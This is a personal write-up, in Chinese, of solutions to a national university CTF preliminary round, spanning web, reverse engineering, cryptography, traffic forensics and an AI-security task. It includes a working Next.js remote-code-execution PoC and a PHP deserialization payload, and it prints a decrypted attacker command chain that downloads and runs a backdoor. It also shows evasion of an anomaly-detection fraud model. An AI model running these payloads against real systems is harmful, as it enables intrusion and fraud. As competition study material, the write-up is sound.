第十九届全国大学生信息安全竞赛暨第三届「长城杯」网数智安全大赛线上初赛个人题解
December 28, 2025
我记得我说过不打这比赛了来着……
[Web 安全] hellogate
很简单的反序列化,但是先塞个图片给我干啥呢。
class A { public $handle; }
class B { public $worker; public $cmd; }
class C { public $cmd; }
$c = new C();
$c->cmd = '/flag';
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
file_put_contents('payload.txt', serialize($a));
import requests
TARGET = "https://[REDACTED]/"
with open('payload.txt', 'rb') as f:
payload = f.read()
body = {"data": payload}
response = requests.post(TARGET, data=body)
response.raise_for_status()
end_of_jpg = response.content.find(b"\xff\xd9") + 2
data = response.content[end_of_jpg:]
with open("response.html", "wb") as f:
f.write(data)
print(data[data.rfind(b">")+1:].decode())
[Web 安全] redjs
Next.js 的 CVE。PoC 改自 lincemorado97/CVE-2025-55182_CVE-2025-66478。
import requests
import json
BASE_URL = "https://[REDACTED]/"
EXECUTABLE = "cat /flag"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.text)
[逆向工程] babygame
看图标得知是 Godot 写的,先用 GDRE Tools 拆一下 Script:
除了这部分之外还有一个大坑:
然后可以解密出 Flag:
from Crypto.Cipher import AES
key = "FanAglFanAglOoO!".replace("A", "B")
ciphertext_hex = "d458af702a680ae4d089ce32fc39945d"
aes = AES.new(key.encode(), AES.MODE_ECB)
ciphertext = bytes.fromhex(ciphertext_hex)
plaintext = aes.decrypt(ciphertext)
print(plaintext)
# b'wOW~youAregrEaT!'
[逆向工程] wasm-login
.wasm.map 没删,直接开浏览器把 TypeScript 代码扒下来。修改 authenticate 函数让 timestamp 为参数传入。
根据题目描述以及压缩包内文件的时间戳确定一个时间范围,然后爆破:
<script src="./build/crypto-js.js"></script>
<script type="module">
import { authenticate } from "./build/debug.js";
// const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
// if (check.startsWith("ccaf33e3512e31f3")){
// resolve({ success: true });
// }
const start = new Date("2025-12-22T00:29:00+0800").getTime();
const end = new Date("2025-12-22T01:06:10+0800").getTime();
let i = start;
while (i <= end) {
if (i % 10000 === 0) console.log("Progress:", ((i - start) / (end - start) * 100).toFixed(2) + "%");
const result = authenticate("admin", "admin", i.toString());
const check = CryptoJS.MD5(JSON.stringify(JSON.parse(result))).toString(CryptoJS.enc.Hex);
if (check.startsWith("ccaf33e3512e31f3")) {
document.body.innerText = `Found! Timestamp: ${i}\nResult: ${check}`;
console.log("Found!", i, result);
break;
}
i++;
}
</script>
[密码学] ECDSA
不是很懂,附件里面直接给出私钥了,但是想了半天要怎么计算私钥的 MD5 值。在尝试了无数次 md5(bytes) / md5(hexstr) / md5(base64) / md5(0xhexstr) 之后,发现居然是对大整数的字符串形式取 MD5:
from hashlib import md5, sha512
from ecdsa import NIST521p
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
priv_int = digest_int % NIST521p.order
print(md5(str(priv_int).encode()).hexdigest())
# 581bdf717b780c3cd8282e5a4d50f3a0
无言以对。
[密码学] EzFlag
丢进 IDA。Flag 是由一个长得像 RNG 的东西生成的:
还有个表:
不难猜测到这个东西是循环的,所以实际不用算那么多次:
def f(a1: int) -> int:
a1 = a1
v5 = 0
v4 = 1
for i in range(a1 % 24):
v2 = v4
v4 = (v5 + v4) & 0xF
v5 = v2
return "012ab9c3478d56ef"[v5]
for i in range(128):
print(f(i), end='')
print()
v11 = 1
print("flag{", end='')
for i in range(32):
print(f(v11), end='')
if i == 7 or i == 12 or i == 17 or i == 22:
print('-', end='')
v11 *= 8
v11 += i + 64
v11 %= (1 << 64)
print('}')
# flag{10632674-1d219-09f29-14769-f60219a24}
[流量分析] SnakeBackdoor-1
直接找最后一个登录请求,Which 响应码是 302 也不是之前的 200,便有密码:
[流量分析] SnakeBackdoor-2
直接搜 http contains "SECRET_KEY",找到请求:
[流量分析] SnakeBackdoor-3
接着往后有一个特别大的 HTTP 请求包:
扒下来追着分析:
[流量分析] SnakeBackdoor-4
追着分析所有 urlencoded-form.key == "data" 流量:
import binascii
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def decrypt_command(enc_hex_cmd: str) -> str:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
print(cmd)
decrypt_command('acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534')
decrypt_command('bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a')
decrypt_command('a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351')
decrypt_command('acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b')
decrypt_command('e0ac7e52fc996cc2038c2d7a3899ed')
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13
答案是 python3.13。
[AI 安全] The Silent Heist
既然没有限制我们可以提交的交易记录数量,考虑直接取一个正常交易记录,为它每个特征增加一个随机的微小扰动,从而生成新的交易记录。如此反复直到总流水达到要求:
from random import random
with open('public_ledger.csv', 'rt') as f:
header = f.readline()
sample = f.readline().strip()
features = [float(x) for x in sample.split(',')]
total = 0
while True:
new_features = [f + (random() - 0.5) * 0.1 for f in features]
total += new_features[0]
print(",".join(str(x) for x in new_features))
if total > 2e6 + 1e3:
break
print("EOF")
$ python poc.py > data.txt
$ nc [REDACTED] < data.txt
[--- SECURE BANKING GATEWAY v4.0 ---]
Task: Transfer > $2,000,000.00
Security: IsolationForest (Strict Mode)
Constraints:
1. No Transaction can be classified as Anomaly (-1).
2. No Replay Attacks (Public data is blacklisted).
3. No Duplicate Transactions.
-------------------------------------
Waiting for CSV Data Stream (End with 'EOF')...
[-] Analyzing Statistical Distribution...
Report: Value=$2,000,608.11 | Anomalies=0/5064
[SUCCESS] Transaction Authorized.
Flag: "flag{[REDACTED]}" Tags: #CTF #Writeup #CISCN #Web #Reverse #Crypto #Forensics
This article is authored by luoingly and licensed under CC BY-NC 4.0











